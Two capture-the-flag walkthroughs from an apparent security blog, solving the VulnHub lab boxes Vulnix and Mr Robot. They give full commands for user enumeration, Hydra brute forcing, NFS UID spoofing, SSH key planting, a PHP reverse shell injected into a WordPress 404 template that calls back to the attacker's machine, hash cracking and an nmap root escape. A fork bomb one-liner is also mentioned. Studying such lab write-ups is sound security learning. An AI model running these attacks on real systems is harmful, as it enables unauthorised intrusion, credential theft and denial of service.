VulnHub: Vulnix

Dear friend, thank you for stopping by HaXeZ! In this article, I will be going through the VulnHub box Vulnix. This box requires you to perform some basic reconnaissance to discover services. You then need to abuse those services to gather more information that can be used with other attacks. I like this box as the scenario it presents is realistic. It is also a good box for learning about the Network File System service.

Vulnix Reconnaissance

First, we need to see what the IP of the box is. In order to do this, we can perform a ping sweep of our host-only network and see what responds. As you can see from the output below, it appears that our target IP address is 192.168.56.105.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sP 192.168.56.0/24
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 16:46 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.1
Host is up (0.00016s latency).
MAC Address: 0A:00:27:00:00:0B (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00021s latency).
MAC Address: 08:00:27:F3:D2:81 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.105
Host is up (0.00060s latency).
MAC Address: 08:00:27:01:3D:75 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.83 seconds

Next, we need to see what services are listening on the box. In order to do this, we can run a Nmap TCP scan which performs banner grabs on all ports. As you can see we have a number of services such as SSH, SMTP, Finger and NFS.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -sT -p0- 192.168.56.105

Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-07 16:47 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.105
Host is up (0.00017s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, 
79/tcp    open  finger   Debian fingerd
110/tcp   open  pop3     Dovecot pop3d
111/tcp   open  rpcbind  2-4 (RPC #100000)
143/tcp   open  imap     Dovecot imapd
512/tcp   open  exec     netkit-rsh rexecd
513/tcp   open  login    OpenBSD or Solaris rlogind
514/tcp   open  shell    Netkit rshd
993/tcp   open  ssl/imap Dovecot imapd
995/tcp   open  ssl/pop3 Dovecot pop3d
2049/tcp  open  nfs_acl  2-3 (RPC #100227)
MAC Address: 08:00:27:01:3D:75 (Oracle VirtualBox virtual NIC)
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.30 seconds

Vulnix SMTP User Enumeration

We can see port 25 is open so we can use this to enumerate users using the VRFY command. There are a number of tools that can perform this enumeration. Nmap has an NSE script that can enumerate users but there are also independent Python and Perl scripts as well as a Metasploit module. We’re going to use the meta sploit module and set the RHOSTS to the IP address of the target.

msf6 auxiliary(scanner/smtp/smtp_enum) > set rhosts 192.168.56.105
msf6 auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 192.168.56.105:25     - 192.168.56.105:25 Banner: 220 vulnix ESMTP Postfix 
[+] 192.168.56.105:25     - 192.168.56.105:25 Users found: User, Vulnix, backup, bin, daemon, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, syslog, user, user, uucp, vulnix, whoopsie, www-data
[*] 192.168.56.105:25     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Vulnix Finger Enumeration

We know from the Nmap scan that the Finger service is listening. This service should also allow us to enumerate users. We already have a good wordlist from the SMTP user enumeration but lets enumerate Finger to get as much information out of Vulnix as possible.

msf6 auxiliary(scanner/finger/finger_users) > set rhosts 192.168.56.105
msf6 auxiliary(scanner/finger/finger_users) > exploit
[+] 192.168.56.105:79     - 192.168.56.105:79 Users found: backup, bin, daemon, dovecot, dovenull, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, proxy, root, sshd, sync, sys, syslog, user, uucp, vulnix, whoopsie, www-data
[*] 192.168.56.105:79     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SSH Brute Force

Now that we have a good list of users, we can attempt to brute force SSH in order to gain access to the host. To do this we will use the THC Hydra brute forcing tool with our usernames wordlist and the rockyou password list.

┌──(kali㉿kali)-[~/Documents]
└─$ sudo hydra -V -L users.txt -P rockyou.txt 192.168.56.105 ssh -t 4                                                                            
[DATA] max 4 tasks per 1 server, overall 4 tasks, 415987542 login tries (l:29/p:14344398), ~103996886 tries per task
[DATA] attacking ssh://192.168.56.105:22/
[ATTEMPT] target 192.168.56.105 - login "User" - pass "123456" - 1 of 415987542 

NFS Enumeration

While Hydra is running we can continue probing the services on the box for more information. Our Nmap scan showed us that the Network File Service or NFS Service was listening. We can use a tool called showmount to see if there are any exports or shares available.

┌──(kali㉿kali)-[~/Documents]
└─$ sudo showmount -e 192.168.56.105                   
Export list for 192.168.56.105:
/home/vulnix *

Based on the information from showmount we can attempt to mount the /home/vulnix mount that we found. However, when we try to list out the contents of /mnt/vulnix, we get a permission denied error.

┌──(kali㉿kali)-[~/Documents]
└─$ sudo mkdir /mnt/vulnix 

┌──(kali㉿kali)-[~/Documents]
└─$ sudo mount 192.168.56.105:/home/vulnix /mnt/vulnix -o vers=3

┌──(kali㉿kali)-[~/Documents]
└─$ ls /mnt/vulnix        
ls: cannot open directory '/mnt/vulnix': Permission denied

The mount command I used above mounts the NFS share using an older version. The reason for this is so that we can see the Username and UID. While we don’t have permission to see the contents of the directory, we can still see the directory. You can see below that the UID is 2008. You can also so that the username is vulnix.

┌──(kali㉿kali)-[~/Documents]
└─$ ls -lash /mnt         
total 52K
4.0K drwxr-xr-x  4 root   root   4.0K May  7 16:36 .
 40K drwxr-xr-x 19 root   root    36K Apr 26 11:40 ..
4.0K drwxr-x---  4 vulnix vulnix 4.0K May  7 15:39 vulnix

┌──(kali㉿kali)-[~/Documents]
└─$ ls -laShn /mnt                                              
total 52K
drwxr-xr-x 19    0    0  36K Apr 26 11:40 ..
drwxr-xr-x  4    0    0 4.0K May  7 16:36 .
drwxr-x---  4 2008 2008 4.0K May  7 15:39 vulnix

Vulnix Foothold

A common misconfiguration in NFS allows us to create a user with the same username and same UID to access the files.

┌──(kali㉿kali)-[~/Documents]
└─$ sudo adduser -u 2008 vulnix

Now if we switch users to the vulnix user we should be able to list the contents of the NFS share.

┌──(kali㉿kali)-[~/Documents]
└─$ su vulnix                   
Password: 

┌──(vulnix㉿kali)-[/home/kali/Documents]
└─$ ls -laSh /mnt/vulnix
total 32K
drwxr-x--- 4 vulnix vulnix 4.0K May  7 15:39 .
drwxr-xr-x 4 root   root   4.0K May  7 16:36 ..
drwx------ 2 vulnix vulnix 4.0K May  7 15:23 .cache
-rw-r--r-- 1 vulnix vulnix 3.5K Apr  3  2012 .bashrc
-rw-r--r-- 1 vulnix vulnix  675 Apr  3  2012 .profile
-rw-r--r-- 1 vulnix vulnix  220 Apr  3  2012 .bash_logout
-rw------- 1 vulnix vulnix   94 May  7 16:35 .bash_history

Next, we need to make a .ssh directory on /mnt/vulnix so that we can copy a public key across and use it to access the machine.

┌──(vulnix㉿kali)-[/home/kali/Documents]
└─$ mkdir /mnt/vulnix/.ssh  

Next, we generate the SSH key that we are going to copy across and use to access the server. However, as this box is quite old and modern systems no longer supper ssh-rsa, we need to specify that method.

┌──(vulnix㉿kali)-[/home/kali/Documents]
└─$ ssh-keygen -t ssh-rsa
Generating public/private ssh-rsa key pair.

Now that we have our private and public keys, we can copy our public key onto the mount point. We need to copy it into the .ssh directory with the name authorized_keys.

┌──(vulnix㉿kali)-[~]
└─$ cp .ssh/id_rsa.pub /mnt/vulnix/.ssh/authorized_keys

We can now SSH to the box using our private key and it should allow us to log in as the vulnix user. However, as with creating the key, we need to tell our SSH client to accept the old ssh-rsa algorithm.

┌──(vulnix㉿kali)-[~]
└─$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa  [email protected]                                                                                                               
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
 * Documentation:  https://help.ubuntu.com/
  System information as of Sat May  7 22:22:42 BST 2022
  System load:  0.0              Processes:           92
  Usage of /:   90.3% of 773MB   Users logged in:     1
  Memory usage: 1%               IP address for eth0: 192.168.56.105
  Swap usage:   0%
  => / is using 90.3% of 773MB
  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Sat May  7 21:24:35 2022 from 192.168.56.102
vulnix@vulnix:~$ 

Privilege Escalation

We now have SSH access to the box as the user vulnix. We still need to root the box though. The first thing to do is to see whether we have sudo.

vulnix@vulnix:~$ sudo -ll
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
Sudoers entry:
    RunAsUsers: root
    Commands:
        sudoedit /etc/exports
    RunAsUsers: root
    Commands:
        NOPASSWD: sudoedit /etc/exports

It would appear that we have limited sudo access which allows us to sudoedit /etc/exports without a password. The /etc/exports file is what we use to configure NFS. This file allows us to specify which parts of the filesystem are accessible to the public. Here we can configure the root user’s home directory as an NFS share.

vulnix@vulnix:~$ sudoedit /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix    *(rw,root_squash)
/root           *(rw,no_root_squash)

In order to make the changes, we need to hard reboot the machine. This isn’t the best option as we don’t have permission to run a reboot and we may not have physical access to the server. Unfortunately, this is the only option we have at this stage. We could run a fork bomb ((){ :|:& };:) to exhaust the resources on the system and force it to reboot but we will just reboot it.

Vulnix Getting root

Once the system has rebooted, we can run the showmout tool again to see if the root user’s home directory has been shared.

┌──(kali㉿kali)-[~]
└─$ sudo showmount -e 192.168.56.105 
Export list for 192.168.56.105:
/root        *
/home/vulnix *

Fantastic, the root user’s home directory has been shared. We should now be able to make another directory and mount it.

┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/vulnroot

┌──(kali㉿kali)-[~]
└─$ sudo mount 192.168.56.105:/root /mnt/vulnroot -o vers=3

┌──(kali㉿kali)-[~]
└─$ sudo ls -laSh /mnt/vulnroot                            
total 36K
drwx------ 4 root root 4.0K May  7 16:40 .
drwxr-xr-x 4 root root 4.0K May  7 16:36 ..
drwx------ 2 root root 4.0K Sep  2  2012 .cache
-rw-r--r-- 1 root root 3.1K Apr 19  2012 .bashrc
-rw------- 1 root root  710 Sep  2  2012 .viminfo
-rw-r--r-- 1 root root  140 Apr 19  2012 .profile
-r-------- 1 root root   33 Sep  2  2012 trophy.txt
-rw------- 1 root root   18 May  7 16:28 .bash_history

With the root user’s home directory mounted, we can now repeat the process of copying an SSH public key into the authorized_keys file. First, we need to create the .ssh directory. Next, we need to create a new SSH key pair (ensuring to specify the rsa-ssh type). After that, we have to copy the public key to the SSH directory and call it authorized_keys.

┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/vulnroot/.ssh 

┌──(kali㉿kali)-[~/Documents]
└─$ ssh-keygen -t ssh-rsa        
Generating public/private ssh-rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):

┌──(kali㉿kali)-[~]
└─$ sudo cp .ssh/id_rsa.pub /mnt/vulnroot/.ssh/authorized_keys

Finally, we can see to the box as root and capture the trophy… although we could have captured it when we mounted the NFS share. Wheres the fun in that.

┌──(kali㉿kali)-[~]
└─$ sudo ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i .ssh/id_rsa  [email protected]
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/
  System information as of Sat May  7 22:37:31 BST 2022
  System load:  0.0              Processes:           93
  Usage of /:   90.3% of 773MB   Users logged in:     2
  Memory usage: 1%               IP address for eth0: 192.168.56.105
  Swap usage:   0%
  => / is using 90.3% of 773MB
  Graph this data and manage this system at https://landscape.canonical.com/

Last login: Sat May  7 21:42:13 2022 from 192.168.56.102
root@vulnix:~# cat trophy.txt 
cc614640424f5bd60ce5d5264899c3be

So that’s it, the box is owned, we captured the key and learned all about NFS along the way. As for that Hydra session that was running, I believe it found a password for the user named user and it was ‘letmein’. Not that we needed it.

Thanks for reading.

Mr Robot

Dear Friend, thank you for coming to HaXeZ. I love the show Mr Robot, it’s probably one of my all-time favourite shows (along with the X-Files and House). Not only is it a realistic hacking drama but it’s also a psychological thriller with some crazy moments. So, today we’re going to channel our inner hacktivist and join up with fsociety to bring down the global conglomerate that is Evil Corp. That’s right, we’re going to be hacking our way into the Mr Robot box on VulnHub created by Leon Johnson.

Mr Robot Set Up

In order to hack this box, you will first need to download it from VulnHub. Once the box has been downloaded you will then need to import it into your Virtual Machine Hypervisor software. I’m going to be using VirtualBox for this and it’s as simple as clicking ‘File > Import Appliance’ and then navigating to the file you downloaded. It may take a couple of minutes but once it’s done, power it up along with your hacking Virtual Machine.

importing Mr Robot
Importing Mr Robot

VirtualBox Network Setup

Firstly, you want to check your Host Network Manager settings. This can be done in VirtualBox by ‘File > Host Network Manager’. Take a look at your network settings and make note of the IPv4 address.

VirtualBox Network Manager
VirtualBox Network Manager

Once you have the host network address, check that DHCP is enabled. Then, head to the network settings of both your hacking machine and your target machine. Check that both of the machines have Adapter 1 set to host only and that the name of the adapter is the same. If you want you can enable the second adapter on Kali and set it to NAT so that you still have internet access.

VirtualBox Host Network
VirtualBox Host Network

Finding Mr Robot

Hopefully, finding Mr Robot won’t be too difficult now that we have our network settings configured correctly. First, you can use a tool called netdiscover which can either passively detect online hosts or search for them by sending ARP requests. This can be quite noisy but I thought it was worth mentioning. We know the IP address of the host-only interface is 192.168.56.0 so let’s ask netdiscover to explore that range.

Netdiscover

sudo netdiscover -r 192.168.56.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                                                                                                                       3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                                                             _____________________________________________________________________________
IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
-----------------------------------------------------------------------------
192.168.56.1    0a:00:27:00:00:0b      1      60  Unknown vendor                                                                                                                           
192.168.56.100  08:00:27:71:14:50      1      60  PCS Systemtechnik GmbH                                                                                                                   192.168.56.101  08:00:27:db:36:79      1      60  PCS Systemtechnik GmbH

As you can see, three hosts respond. One is our default gateway with the IP address of 192.168.56.1 and one is our own machine and the other is the target machine. We will have to work out which one is which in a moment.

Ping Sweep

Our second method for finding the host is to perform a ping sweep against the network. As you can see from the terminal output below, it has found the same hosts. So we now know that the target host is either 192.168.56.100 or 192.168..56.101. Let’s perform some reconnaissance to figure out which is which.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sP 192.168.56.0/24
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 07:39 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00015s latency).
MAC Address: 0A:00:27:00:00:0B (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00036s latency).
MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00038s latency).
MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC)
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.02 seconds    

Mr Robot Reconnaissance

In order to work out which one our target is, we can perform a port scan on both IP addresses. The services listening on the IP addresses should tell us which one we need to attack. All I’m doing in the scan below is running a TCP scan against all ports. This is usually fairly quick and should give us everything we need. We could do far more complex scans but for now, let’s work out which box is which.  

┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nmap -sT -p0- 192.168.56.100 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:00 EDT
Nmap scan report for 192.168.56.100
Host is up (0.00012s latency).
All 65536 scanned ports on 192.168.56.100 are in ignored states.
Not shown: 65536 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds

Not a lot going on here. This is probably my machine as there won’t be many services running. 

┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nmap -sT -p0- 192.168.56.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:01 EDT
Nmap scan report for 192.168.56.101
Host is up (0.0014s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE  SERVICE
22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https
MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 125.66 seconds

As we have a closed SSH port and a web server listening on ports 80 and 443. That definitely isn’t my machine and is likely our target.

Exploring The Mr Robot Web Server

We know that ports 80 and 443 are open so let’s go check them out in our browser. Just grab the IP address and pop it in your browser with either HTTP:// or HTTPS:// at the beginning. The website emulates a Linux terminal with a number of options. Going through these options doesn’t appear to give us much but is pretty cool for immersion. I suggest going through them.

Mr Robot Web Server
Mr Robot Web Server

Busting Directories

Since the website didn’t offer us much that we could use to progress, it’s time to brute force its directories and files to see find we can find anything interesting. There are a number of tools out there that can do this but I’m going to keep it simple and use dirb. The output of dirb is quite significant so I will only include a small section here.    

┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo dirb https://192.168.56.101                     
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sat Apr 30 08:23:20 2022
URL_BASE: https://192.168.56.101/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: https://192.168.56.101/ ----
+ https://192.168.56.101/robots.txt (CODE:200|SIZE:41)
==> DIRECTORY: https://192.168.56.101/0/                                                                                                                                                                                                                                                                                                                                            ==> DIRECTORY: https://192.168.56.101/admin/                                                                                                                                                                                                                                                                                                                                      ==> DIRECTORY: https://192.168.56.101/audio/                                                                                                                                                                                                                                                                                                                                         ==> DIRECTORY: https://192.168.56.101/blog/                                                                                                                                                                                                                                                                                                                                           ==> DIRECTORY: https://192.168.56.101/css/                                                                                                                                                                                                                                                                                                                                             ==> DIRECTORY: https://192.168.56.101/feed/
==> DIRECTORY: https://192.168.56.101/wp-admin/
==> DIRECTORY: https://192.168.56.101/wp-admin/     

Mr robots.txt

As can be seen from the output above, we have a number of interesting files and directories. The first file I want to look at is the robots.txt file. In essence, the robots.txt file is a file that tells search engines what not to index. If you have login pages on your website then you would include them in the robots.txt file to ensure they don’t get indexed by search engines. Let’s take a look at it at http://192.168.56.101/robots.txt

User-agent: *
fsocity.dic
key-1-of-3.txt

First Key

It looks like we have our first flag or key. Navigate to the http://192.168.56.101/key-1-of-3.txt file and you should receive the following key 073403c8a58a1f80d943455fb30724b9. It also appears that we have a dictionary file, perhaps a word list that we can use to attempt to gain access to the machine. Let’s check it out http://192.168.56.101/fsocity.dic. The file will automatically download but you can cat it once it has downloaded.

Mr Robot Fsociety.dic
Mr Robot Fsociety.dic

Admin Area

My suspicions were correct, it is a large wordlist. We could try and brute force SSH with it or the admin area of the website. Since we found it on the website I think we should start there. The first admin area found by dirb was https://192.168.56.101/admin but visiting that has a constant redirect loop on it. However, it also found a WordPress admin area.                     

Mr Robot wp-admin Area
Mr Robot wp-admin Area

Enumerating Valid Users

Interestingly, when attempting to login into the portal with admin: admin I am informed that I’m using an invalid username. This is a common tactic used in web application penetration testing to enumerate users. If the error messages for submitting an incorrect username and a correct username with an incorrect password are different, then we can enumerate the correct users. First, let’s sort out the wordlist so it only has unique entries.

┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sort /home/kali/Downloads/fsocity.dic | uniq > robodic.txt    

Burp Suite

There are many different tools out there capable of brute-forcing web applications and Burp Suite is probably a bit overkill for this task. However, I know how to use Burp and find it really intuitive so I’m going to stick with what I know. With the proxy on, I will capture a login request and send it to the intruder. There I will clear the existing positions and add my own to the log parameter.

Mr Robot Burp Suite
Mr Robot Burp Suite

I will then load the fsociety.dic file into the payloads and start the attack Within a matter of moments we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.

Mr Robot Burp Brute Force
Mr Robot Burp Brute Force

Within a matter of moments, we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.

Hydra

The error message is different, as you can see it is saying that password for the user Elliot is incorrect. So now that we know our username, it’s time to find our password and in order to do that, we’re going to use a different tool called Hydra.

hydra -vV -l elliot -P robotdic.txt 192.168.56.101 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "even" - 5656 of 11452 [child 9] 
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "Even" - 5657 of 11452 [child 7] 
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "evening" - 5658 of 11452 [child 11] 
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "event" - 5659 of 11452 [child 12] 
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "events" - 5660 of 11452 [child 5] 
[80][http-post-form] host: 192.168.56.101   login: elliot   password: ER28-0652
STATUS] attack finished for 192.168.56.101 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-30 09:58:12

Bingo we have found his password from the fsociety.dic file.

Popping Shells

Now we need to get on the box, the simplest way to do this is to add some code to one of the WordPress templates. The easiest is probably going to be the 404 templates because you can then call any non-existing page to execute the code. Modify the following code with your own IP address and add it to the top of the WordPress 404 template.

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.102/443 0>&1'");
?>
WordPress 404 Template
WordPress 404 Template

Now, in your terminal create a listener on port 443 using NetCat.

┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nc -lvp 443       
listening on [any] 443 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 37398
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls

Mr Robot Lateral Movement

Looking in the home directory we can see there is a user called ‘robot’. Furthermore, there are two files in this user’s home directory. One is the second key and the other is what appears to be a password md5. Unfortunately, we can’t read the key file due to the permissions but we can read the password file.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ ls -laSh /home/robot
ls -laSh /home/robot
total 16K
drwxr-xr-x 2 root  root  4.0K Nov 13  2015 .
drwxr-xr-x 3 root  root  4.0K Nov 13  2015 ..
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt

If we cat this file we can see that is the md5 hash for the user robot. If we crack this hash then we should be able to switch to the robot user.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /home/robot/password.raw-md5
<pps/wordpress/htdocs$ cat /home/robot/password.raw-md5                     
robot:c3fcd3d76192e4007dfb496cca67e13b

Now, we could crack this hash using Hashcat or John The Ripper. However, it has likely already been cracked so let’s check out crackstation.net. Indeed the hash has already been cracked and the password is abcdefghijklmnopqrstuvwxyz… right.

Mr Robot Crackstation.net
Mr Robot Crackstation.net

TTY Shell

Trying to switch to ‘robot’ in our current shell will produce an error saying we need to be in a terminal. In order to resolve this issue, we need to spawn a TTY shell.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ python -c 'import pty; pty.spawn("/bin/sh")'        
$ su robot
Password: abcdefghijklmnopqrstuvwxyz

Now that we have switched to ‘robot’ we can capture the key in our home directory.

robot@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /home/robot/key-2-of-3.txt           822c73956184f694993bede3eb39f959

Mr Robot Privilege Escalation

In order to escalate our privileges to root, we need to find a program that can elevate us. This is normally possible due to a file having the suid bit set. You can find files with the suid bit set by running the following command.

robot@linux:/opt/bitnami/apps/wordpress/htdocs$ find / -perm /4000 -type f 2>/tmp/2                 
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmapPrivilege Escalation

We can see from the output that one of these files is Nmap and older versions of Nmap had an interactive mode that you could use to escape to root. As you can see from the tool output below, we can use Nmap interactive mode to escape to root and capture the final key.

robot@linux:~$ nmap –interactive
nmap –interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
Whoami
root
# ls
Ls
key-2-of-3.txt  password.raw-md5
# cd /root
cd /root
# ls
Ls
firstboot_done  key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4